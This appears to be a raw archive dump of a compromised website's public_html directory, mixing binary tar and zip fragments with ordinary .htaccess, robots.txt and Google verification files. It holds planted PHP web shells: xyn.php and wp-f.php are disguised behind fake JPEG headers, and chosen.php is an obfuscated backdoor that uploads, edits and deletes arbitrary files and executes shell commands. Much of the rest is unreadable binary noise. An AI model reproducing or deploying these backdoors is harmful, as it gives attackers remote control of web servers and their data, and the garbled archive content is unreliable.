???????????????????????????? ??????????????/????????????????? ............/............... .........................../... ????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> PK\_ .htaccess.tarnu[home/multitex/public_html/.htaccess000064400000000314152327426000013446 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK\B^G xyn.php.tarnu[home/multitex/public_html/xyn.php000064400000013236152327426040013212 0ustar00ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ ïp" ÿÄ     ÿÄ   ÿÚ   ¨7êÀ ýÓ%]´å×âëdóë¼Ð #ú®Aƒ­æxå.¡«×4 «4|ñ¥·†Jyó›/®¸ð™ÛEkÝ›Yõ'¢Kب¸Ž R—Df¯BÚ™¥sÎ…E§VøÁô@ òmÝ?z ,™ÛàuZœ>Å”aËžl®IZµˆüº±ò—׃à Œ> lä{}N»Åõ¼˜`ªÕcEÉÑè}Ú S|ÂîßçãÕè×=w³Ù©Vfºçã D‡¥HDMjb˜•OBùâyÝ»u,ñ5iŽÅ£óDÈ]+RDרÜóY5²’Ü…“Ôáµ­·šZ3q¼Q)¸xÑâXÃï  Ù,Väë[œ§nð%êG®j^w°Cœ¸Ÿq}†O¸ñ•Ù]dÓv÷ëQë”™éð»û ?óÑ«eJ~F½Z¸çP/W¹p‰{_6Íèϵv²úဠ!lÍŸ5êï·Ã®Xà9gttŽk7=»‰»eújA[7e‚Ũb“æôè~‹¨òœ‰Ï1šò»ÖƒGß¾¡ïÔâfðŒX3z5~ïLB¿µxûÒ§Pµs^-ßÛ<ï¤ì “Ÿ;£†•Ø·üíK'Cû×íÐÇ<õmÐ rïêz~ š´þŠizwøAß¹œiݾþ¾¹ç¥LR㬰p¦ù°ê§¤ìp~«1C×î<®»õPó~€9´ ¾ê[Ç_Úñ»ÀÛç˜$`”™’‡ŒlÓ:Ÿ>ËY+áìõ*Ì:Æ_ºÆÝ¸Š•ßðŒ|¦ríaΏq¾¾þs{N§Íý¢nÕò".ß6•Ö«-ŸÐ‰™3zÁÅÀ ˆI噤nÊ;W“Ûœ[¤ÝŠsGù ©n¯ÄèzÇæa+´˜/“¸ z½ÖNöcá[´ëWaÐòTá¥}ÞÕèÝ9}/«ÀÃçPüó= -¸×"Êj o·&ÐÍÍÛ8ã¤lËÚ~V¶x²¼fj-.õË42ï|‡•¶S‘DU½‹„+:÷iÉs]éû©IÃiÈŠ]»wQ:Þµgf#v­Øˆ(ë$DÇÐ>J¡aŠä1? Ÿž¶ùë½ÄñtY= !Ÿ7¦ý {žŸ3ªJð,:<ÞûÄü£ªêBõê¤LY¾LhÁNåESj:±ÌôÕžÃ*MŽN (ίÏ"i–™ì×ñO¶ÌìQ:Bpè4ÙFIÃôDRê½ÒU¤äjÆ¿<“‰„eÇ<´NÆîjQÒiÜÒPñ9‚~ÓVsttð—zô9>d jüÙØd8†nî<毖&2Ã÷b½9½i|FXíü‘Ü žÚ^  #ôg–äÐÍ´ï4lm“㨽I÷ÃÊûÅn4džDbëœ'wFŠª¹äÇA”#¶òêKR3fÌP~æuá¬pQð‰BƒrÛ¢Bnnç.9Ûh116½¼¦œuª bWw8¿§Rt$ªÕµºÍéøösxD€ 1eÃnH·bÝàs»%·by…ž‚ÂoS6´ÍkŸ„ÌAçÏ[èUiykÏá '«Ð úR7p䁖„ŽŽ(šÅK¤DsÕ{gÖæ/x*Ô R¿,ÏÑù†žž§[Ozf¡üïG^µ¶òKäõ©·-o䝸ÄS.ÉŒŒ’Eî»Éçc«•¯‹FÇ}ËŽéoÕ¦;ÜʏGb­a œ&5ù,PvÝW—±C§§sØ/\Ù9÷?é5qo§ŒöÎ±åøŽ¾ü#  ù 9v,ÚW{Æß S_/!ޱX~0ý ־DŽt #ú¯^ëÖ}ù'Áº«blÁôH‡\¿Íæ{?²œí]¬ðG` !ûªcäôÕ Ö(Pš<þû@™²éóx7ÛôýZSŽmnn‡ë†ö¸r/ŸŽ×«+Wk ¾Ø ÷j}“wtã½öÜœßìÖ~«òλ³Å›ûóí”sz•֍FÉ9<ý>»›ˆö ¾+Ǐ6oO`eö FIºªK§ð».ÿ ŸºñÞùçºa¦ÜÕì<¿Z»ånÉn^1b¢åõ¤«öeZõö " . $content); } ?> 3b\µ °uéððû뢵ƒ†ÒNÒÝ'ž5R~&­žÛÔɰÐn€þâ m…7Ò4À$6‚6Òb°‚-üo€ ÐtàÛÄÑôLMØ*¬¯öù_>¯ÑÄé9ãÖ-‹Éõû?œ6¸êNPÕïŒ>5E ¿ëãñ ø@¿ßHr%cŠQQ¨hؤ“{‰´Ô Ä>E>ñ  ‰gÁ6-î½qRæô J•J¶Ä]ƒ.Ô°Àûùý¾¼$¦ú >ÏDÓ€Y©•BD©@(z7)ª8[Ã蝙ªxfI1­!@ &ú¨Å÷>>§‹ùâo<~"#@lx×ß=Ù¢BÂŽÑÐJŒ$\/Å `Û˸Ï+J kQ¼ E÷ÿ _Û5¯Û#Ñ´ïáôöçigΣXíˆuë`Y4~97çCå›c³¸@vÂ*úñ!óÑy\p.ÿ ëÇâBÅ £AŸëç Yb68^ã0VWá÷þµžu‰Ÿˆ]¿ëÛ›VŽH!@ETîÓç P8 A½©qtåa¥›RCx¶ImM¼*ó‡Ìà-¡µïéèüL¨ÔÇ¥ø~ïü'sZÛÑåÍn2)„ANʃ>®²äÅU+[_”{ô\ÙJ!Z˜…¡`…%P*¬áó½ƒhmÿ ^Å ©2Îü9&§^æŽúŸ„t}Z,*áP· Ü„V¼‹8ýD€¥ VpÁ„;¼ø=Š|` øúûâŠÅuUÐ i+çvºM¡%º¬á†‚¨¡·ý|~,4®Mô3ÏïžPÇÓÿ æ_ÿÙPK\b ..xyn.php.php.tar.gznu[XSSin@,%.@^VeUQAQAŀA!AA!;tpAM kXΩ/%safj櫩~Yw9ssέT+"T:NYSWRVU 55???r$*&:&#?EE GtiuZ\q׿܍u:Kpr'| W-[◫Vme;v;w|  8 ۅǶmAd<dۜx¥)Dp9Ȝ0X.N߇V-Ӷ~xǂg׭xQ\0ICԑ#'u]Y֛d$s w6NnP#&dA-^ӛ3R6n߅Bl+R F ѡ4Whxo~]4Rܡ)<3 `#Z0 W,/xA.-sހIޖg38aABK?txp~CX@4\Tc_XӛhTƹ5}^/r{Gua<mg2~78ޱ,Ahh\M1wVLݝCXD$'Hl~&}.Qh)Hz^`@D3 ,Y|'ae8b*r|^L6~DKX36+Xi=*~%C#[:h홰-onOZVRɒb#2T&mk4bk($i!?xjpO1qOA,\>6f4+∑(^ Nз^  A*J!Rŕlͣ}|¬/A$XG[᜙cnUƇc+|T"?6|MJEUohA;/ dHv`lMp/(`Lçk||[{ݫO5Z3Ngj䢑QVhtW і@-:D[ dXR t]ƮI9er\,J˽Y?~+:ѡs=ww(]R؎zZSy%O JYPg3 pݙ ᦁ*~B_S O `fslP \hϿ'@J-a^rv@*O֨i!\eqa?k )-dtjE59"?l`J]Įq_}Av}h*h;*H䅭-y8,{ Tr:xe/7u=&g4rO]n>F>tpBOQuw<]p+ҲL%ոDbn:O(qxdO߃5R[n`hJa/4g!`e{qhVسJ!R2_يSNgSE4T~k҄sЛ85s׎TW5> ~@j IRck :aE0Z E/rGPwA+4i4|`cih !xOSq:dRS"]1ԗApgh um;nh/`9"d -J'Fً.-lQ׻ 'ulq%0'9/-hK娰l'vC諧:{Wk$ڃY۹?۶ӗ~"\ .?s֢Ki4':`HѶں7zpth? <][j=w4聅 4wXyAa4h+ga7 q[t߼r@[=- RGy23Ҹ7^<\Rij9{Čr„bϼ/ϐ _ޚH S4i$dfciޭ{PvM5=ʧ"BxRBdt-aҟQwXhc6|W?z܉=Y=-#>dWT/ >%179 Aa=!:[.KRߎ=B^GPK\΋ chosen.php.php.tar.gznu[=isƒs&Ay鰝PYG⍯ "A@Js3"i5U%s=5;y7߽dӠNx#?=<~X5Gۛ|xgN7=!x,͜c}IhB)q\$nxuܙol66b'wmtB4ɟ~C೑t I(fY< Y4i\Q(y`:)T\H篞^zg'Mwtg7 ٵcqPIɆGO9K:,mDVZ $k-8:fK AlMp ;Hy[*2^`$KiC"W']?ه&阊t䀓pT[?Q|jH ˎ`GH%AgWP:A0"$.(x7qWXbRZe*2T4mWطuMf8S EC̠/ 8'fU,gʟZ@бdȻ)V[\k|se(5_8i:F>qx4]Q/L:Z,. Bw 8n&{WA<E7,1u}'p'0 :BI݆Ir6PY8˱(I(ke܊XOjfQrcїڜ'hZ)ݶkCʂ^RSe^௟S{!88{<Q4J[d "P,`^Φ#\bt @x-1vEZWƄφ7X4.(r"]{ ӶG~d4*_sNH2? z9L [{XgiV=+mN򻕽路¶;Khԟh3y#r=኎+G(@(y1B$,Ad}QY,RNVi"[5gRZ h`0Ωpm%T QFbZkʂN_FR`ً81/, ipFqn'NKckjQe6LBXz  DN",9v.*B*lkrAxve$0jP'УsE/x?Vc%׌fMs!Ȣ Qjj7qJf2n] @V˨ c.}P3%eXu"^׏8Yт8⣝K2]k*]Ī8$*"k|!ָ^`9 Bc'ӆugʺH-]I5(llj8/蒿*#qZ7- Jd ~cjfTZ.{0kEkX;:1}ztúiFH59S]E=j]1kCYd3Jkګ+Kja )Klk/*6{xkD/%~X3n@)7FQ4 V fvM&NCf c8"5 <Z)rN'e8ucn>'!R-ql]Yy<3e筜(Hcb+zCl ;J˄9/Z`9JZRmI׶BxxUUeE[RpA!fSb&~'[x.F*fv JzYH{#ߙI}/fO 4J@{`ĸ/4/h^FTGvK , O]P(m۩^ӛkIq>Tv6*4L`mMSީT+x~8`|G99 ͅi0:aÇkBo4\ x3 8UmPqfYc0G$(rgPv.';B[XJz˨ղܹcrཋYBU %yMI^i[[h–t6 s1mp4Yccv[%q<~K1|XG䁱 VJ%N1*cKm\tn _{k$)jpg4GzUHіiCCXa*TeQ#Ermeፂ}[b9 v)pF4 o`%MQvl#,e5dPdQzS/-%>Zn0Hȥq]}-b@ھYYxehd=3>lN, r8@A7i81ct*8.l-:fi<^!xWAUZŊ![ΔW5;Zs4ǧzJPA;a^[!TvcB#aUj<1خG0TB]l.?YuY8$RJ2^AS1`؎h:: ylDT+<I4# NuUMfQ*\_8)%s#Nihjr)ZǣI<G#]#I*fOtjN^/!)ӧr(Z/Y{˯ܯAE4LB .0ZG9wO^wK `K b;pUpUލ7 j'H&D5 u吱;۶'n Dͩ;hI7P+gy61"lTjⷤztZIa, o\IiUN| ;"6kSKQv,"_ 1Dċ\((fG r?F`bڶ";|Ac(Q3?W EPPmhdOeZA4nƳ%/?.yn!ܢFvX<vm N<]~ІA4YC""(p·x^-`o_dD'{?Ju6$|1. 3̘k:2ubџ}owݲdWw_,ۂ{v%5pNBYjt,{Ւ5?ES|zR^| D2]EՉeYRu;`upftB[jrT]Gv5v*4K?ngÏ x]YfX=uRGkEE6^44^| ]!-.K 隿S^u]WBoO-e>Anj^<9nFӬQVSh}љRɯG'_c9;Uh=0f]E3"n0NΕFɱ#놁yW, JzVIh.?O_xHLbcqqQebׂnSREjaQq_ ohwfJڋ_)qtPJЫ_v& 㷤 1\*.}Y9,K__X $o)2 &dH->#rNj-HnNہbk!`Ѿ\)+_vekŒְ#M'ljfyz&nf,VطQܗ+X -KJ\ovIխ@i{ Xɚu^>SrIҔA=3u*ެ6B<5YQv] ˼һD3"DIgQ'#rYNB٨):/SX[g$lʟ6EXUHY`\Y~\fw;5GXp93`_|#Itce_{wcȯ2}xPK\u]robots.txt.txt.tar.gznu[ҽ 0}΂Ic ,SHLHn0oPpr on([﫪O3~΂PK\Z&,'google78b7f04018dcc730.html.html.tar.gznu[M0`ݺârf1c$$9)!>/JVT2δ`JSEװs+i~ɓ:͚ovq3=x=տ(8'&a-lPK\G+google4e93f13e42bd4a24.html.tarnu[home/multitex/public_html/google4e93f13e42bd4a24.html000064400000000065152327426520016157 0ustar00google-site-verification: google4e93f13e42bd4a24.htmlPK\hzqq chosen.phpnu $result, 'output' => implode("\n", $output)); } function wqtqwitnin12i5h12i5($dir) { $dir = isset($dir) ? $dir : BASE_DIR; $allFiles = scandir($dir); $dirs = []; $filesArr = []; foreach ($allFiles as $file) { if ($file === '.' || $file === '..') continue; $fullPath = $dir . DIRECTORY_SEPARATOR . $file; if (is_dir($fullPath)) { $dirs[] = $file; } else { $filesArr[] = $file; } } sort($dirs, SORT_NATURAL | SORT_FLAG_CASE); sort($filesArr, SORT_NATURAL | SORT_FLAG_CASE); $sorted = array_merge($dirs, $filesArr); ob_start(); ?>
Name Type Size Actions
0 ? floor(log($size, 1024)) : 0; $formattedSize = number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power]; $lastModified = date("Y-m-d H:i:s", filemtime($fullPath)); echo '' . $formattedSize . ''; } ?> Edit | Rename | Remove
$currentDir, 'tableHTML' => $tableHTML, 'message' => '', 'success' => true)); exit; } else if ($action === 'upload') { if (isset($_POST['filedata'])) { $chunkIndex = isset($_POST['dzchunkindex']) ? (int)$_POST['dzchunkindex'] : 0; $totalChunks = isset($_POST['dztotalchunkcount']) ? (int)$_POST['dztotalchunkcount'] : 1; $targetDir = isset($currentDir) ? $currentDir : BASE_DIR; $targetFile = $targetDir . DIRECTORY_SEPARATOR . basename($_POST['filename']); $fileData = stripslashes($_POST['filedata']); $fileData = base64_decode($fileData); $dest = fopen($targetFile, 'ab'); $uploaded = false; if ($dest) { $source = fopen('php://memory', 'r+'); fwrite($source, $fileData); rewind($source); $uploaded = stream_copy_to_stream($source, $dest) !== false; fclose($source); fclose($dest); } if (!$uploaded) { $currentData = fopen($targetFile, 'r+'); if ($currentData !== false) { fseek($currentData, 0, SEEK_END); $newData = fopen('php://memory', 'r+'); fwrite($newData, $fileData); rewind($newData); $uploaded = stream_copy_to_stream($newData, $currentData) !== false; fclose($newData); fclose($currentData); } } if (!$uploaded) { $message = "Upload failed."; } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = ($uploaded) ? "Upload successful" : (isset($message) ? $message : "Upload failed"); echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => (bool)$uploaded)); exit; } else if ($action === 'edit') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $editSuccess = false; if (isset($_POST['filepath']) && isset($_POST['content'])) { $filepath = $_POST['filepath']; $content = stripslashes($_POST['content']); // Validate and write if (is_file($filepath) && is_writable($filepath)) { $editSuccess = file_put_contents($filepath, $content) !== false; } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $editSuccess ? "Edit successful" : "Edit failed"; echo json_encode([ 'directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $editSuccess ]); exit; } else if ($action === 'rename') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $renameSuccess = false; if (isset($_POST['oldname']) && isset($_POST['newname'])) { $oldname = $_POST['oldname']; $newname = dirname($oldname) . DIRECTORY_SEPARATOR . $_POST['newname']; if (file_exists($oldname)) { $renameSuccess = rename($oldname, $newname); } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $renameSuccess ? "Rename successful" : "Rename failed"; echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $renameSuccess)); exit; } else if ($action === 'remove') { $currentDir = isset($_POST['kutapercaya']) ? $_POST['kutapercaya'] : BASE_DIR; $removeSuccess = false; if (isset($_POST['filepath'])) { $filepath = $_POST['filepath']; if (file_exists($filepath)) { $removeSuccess = unlink($filepath); } } $tableHTML = wqtqwitnin12i5h12i5($currentDir); header('Content-Type: application/json'); $message = $removeSuccess ? "Remove successful" : "Remove failed"; echo json_encode(array('directory' => $currentDir, 'tableHTML' => $tableHTML, 'message' => $message, 'success' => $removeSuccess)); exit; } else if ($action === 'copycmd') { $pathvalue = isset($_POST['pathvalue']) ? $_POST['pathvalue'] : ""; $shellvalue = isset($_POST['shellvalue']) ? $_POST['shellvalue'] : ""; $result = qwtninxi114x141($pathvalue, $shellvalue); header('Content-Type: application/json'); echo json_encode($result); exit; } } ?> #loveforya.
PWD    : 

PK\ 2>> robots.txtnu[User-agent: * Allow: / Sitemap:https://multitex.hr/sitemap.xmlPK\xyn.phpnu[ÿØÿà JFIF    ÿÛ C    !"$"$ÿÛ C  ÿ ïp" ÿÄ     ÿÄ   ÿÚ   ¨7êÀ ýÓ%]´å×âëdóë¼Ð #ú®Aƒ­æxå.¡«×4 «4|ñ¥·†Jyó›/®¸ð™ÛEkÝ›Yõ'¢Kب¸Ž R—Df¯BÚ™¥sÎ…E§VøÁô@ òmÝ?z ,™ÛàuZœ>Å”aËžl®IZµˆüº±ò—׃à Œ> lä{}N»Åõ¼˜`ªÕcEÉÑè}Ú S|ÂîßçãÕè×=w³Ù©Vfºçã D‡¥HDMjb˜•OBùâyÝ»u,ñ5iŽÅ£óDÈ]+RDרÜóY5²’Ü…“Ôáµ­·šZ3q¼Q)¸xÑâXÃï  Ù,Väë[œ§nð%êG®j^w°Cœ¸Ÿq}†O¸ñ•Ù]dÓv÷ëQë”™éð»û ?óÑ«eJ~F½Z¸çP/W¹p‰{_6Íèϵv²úဠ!lÍŸ5êï·Ã®Xà9gttŽk7=»‰»eújA[7e‚Ũb“æôè~‹¨òœ‰Ï1šò»ÖƒGß¾¡ïÔâfðŒX3z5~ïLB¿µxûÒ§Pµs^-ßÛ<ï¤ì “Ÿ;£†•Ø·üíK'Cû×íÐÇ<õmÐ rïêz~ š´þŠizwøAß¹œiݾþ¾¹ç¥LR㬰p¦ù°ê§¤ìp~«1C×î<®»õPó~€9´ ¾ê[Ç_Úñ»ÀÛç˜$`”™’‡ŒlÓ:Ÿ>ËY+áìõ*Ì:Æ_ºÆÝ¸Š•ßðŒ|¦ríaΏq¾¾þs{N§Íý¢nÕò".ß6•Ö«-ŸÐ‰™3zÁÅÀ ˆI噤nÊ;W“Ûœ[¤ÝŠsGù ©n¯ÄèzÇæa+´˜/“¸ z½ÖNöcá[´ëWaÐòTá¥}ÞÕèÝ9}/«ÀÃçPüó= -¸×"Êj o·&ÐÍÍÛ8ã¤lËÚ~V¶x²¼fj-.õË42ï|‡•¶S‘DU½‹„+:÷iÉs]éû©IÃiÈŠ]»wQ:Þµgf#v­Øˆ(ë$DÇÐ>J¡aŠä1? Ÿž¶ùë½ÄñtY= !Ÿ7¦ý {žŸ3ªJð,:<ÞûÄü£ªêBõê¤LY¾LhÁNåESj:±ÌôÕžÃ*MŽN (ίÏ"i–™ì×ñO¶ÌìQ:Bpè4ÙFIÃôDRê½ÒU¤äjÆ¿<“‰„eÇ<´NÆîjQÒiÜÒPñ9‚~ÓVsttð—zô9>d jüÙØd8†nî<毖&2Ã÷b½9½i|FXíü‘Ü žÚ^  #ôg–äÐÍ´ï4lm“㨽I÷ÃÊûÅn4džDbëœ'wFŠª¹äÇA”#¶òêKR3fÌP~æuá¬pQð‰BƒrÛ¢Bnnç.9Ûh116½¼¦œuª bWw8¿§Rt$ªÕµºÍéøösxD€ 1eÃnH·bÝàs»%·by…ž‚ÂoS6´ÍkŸ„ÌAçÏ[èUiykÏá '«Ð úR7p䁖„ŽŽ(šÅK¤DsÕ{gÖæ/x*Ô R¿,ÏÑù†žž§[Ozf¡üïG^µ¶òKäõ©·-o䝸ÄS.ÉŒŒ’Eî»Éçc«•¯‹FÇ}ËŽéoÕ¦;ÜʏGb­a œ&5ù,PvÝW—±C§§sØ/\Ù9÷?é5qo§ŒöÎ±åøŽ¾ü#  ù 9v,ÚW{Æß S_/!ޱX~0ý ־DŽt #ú¯^ëÖ}ù'Áº«blÁôH‡\¿Íæ{?²œí]¬ðG` !ûªcäôÕ Ö(Pš<þû@™²éóx7ÛôýZSŽmnn‡ë†ö¸r/ŸŽ×«+Wk ¾Ø ÷j}“wtã½öÜœßìÖ~«òλ³Å›ûóí”sz•֍FÉ9<ý>»›ˆö ¾+Ǐ6oO`eö FIºªK§ð».ÿ ŸºñÞùçºa¦ÜÕì<¿Z»ånÉn^1b¢åõ¤«öeZõö " . $content); } ?> 3b\µ °uéððû뢵ƒ†ÒNÒÝ'ž5R~&­žÛÔɰÐn€þâ m…7Ò4À$6‚6Òb°‚-üo€ ÐtàÛÄÑôLMØ*¬¯öù_>¯ÑÄé9ãÖ-‹Éõû?œ6¸êNPÕïŒ>5E ¿ëãñ ø@¿ßHr%cŠQQ¨hؤ“{‰´Ô Ä>E>ñ  ‰gÁ6-î½qRæô J•J¶Ä]ƒ.Ô°Àûùý¾¼$¦ú >ÏDÓ€Y©•BD©@(z7)ª8[Ã蝙ªxfI1­!@ &ú¨Å÷>>§‹ùâo<~"#@lx×ß=Ù¢BÂŽÑÐJŒ$\/Å `Û˸Ï+J kQ¼ E÷ÿ _Û5¯Û#Ñ´ïáôöçigΣXíˆuë`Y4~97çCå›c³¸@vÂ*úñ!óÑy\p.ÿ ëÇâBÅ £AŸëç Yb68^ã0VWá÷þµžu‰Ÿˆ]¿ëÛ›VŽH!@ETîÓç P8 A½©qtåa¥›RCx¶ImM¼*ó‡Ìà-¡µïéèüL¨ÔÇ¥ø~ïü'sZÛÑåÍn2)„ANʃ>®²äÅU+[_”{ô\ÙJ!Z˜…¡`…%P*¬áó½ƒhmÿ ^Å ©2Îü9&§^æŽúŸ„t}Z,*áP· Ü„V¼‹8ýD€¥ VpÁ„;¼ø=Š|` øúûâŠÅuUÐ i+çvºM¡%º¬á†‚¨¡·ý|~,4®Mô3ÏïžPÇÓÿ æ_ÿÙPK\f X .htaccessnu[ RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK\Ne55google4e93f13e42bd4a24.htmlnu[google-site-verification: google4e93f13e42bd4a24.htmlPK\*AXHXHwp-f.phpnu[???????????????????????????? ??????????????/????????????????? ............/............... .........................../... ????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } 